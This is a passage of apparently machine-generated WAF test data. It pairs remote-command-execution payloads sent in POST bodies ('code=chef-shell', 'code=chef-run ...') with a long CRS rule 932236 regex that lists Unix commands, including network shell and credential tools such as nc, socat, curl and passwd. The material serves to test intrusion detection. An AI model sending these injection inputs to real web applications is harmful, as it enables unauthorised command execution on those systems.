ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block decryption of secrets with chef-vault" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=chef-shell\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?: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x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block execution of chef-shell command" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=chef-run all recipie.rb\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?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\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\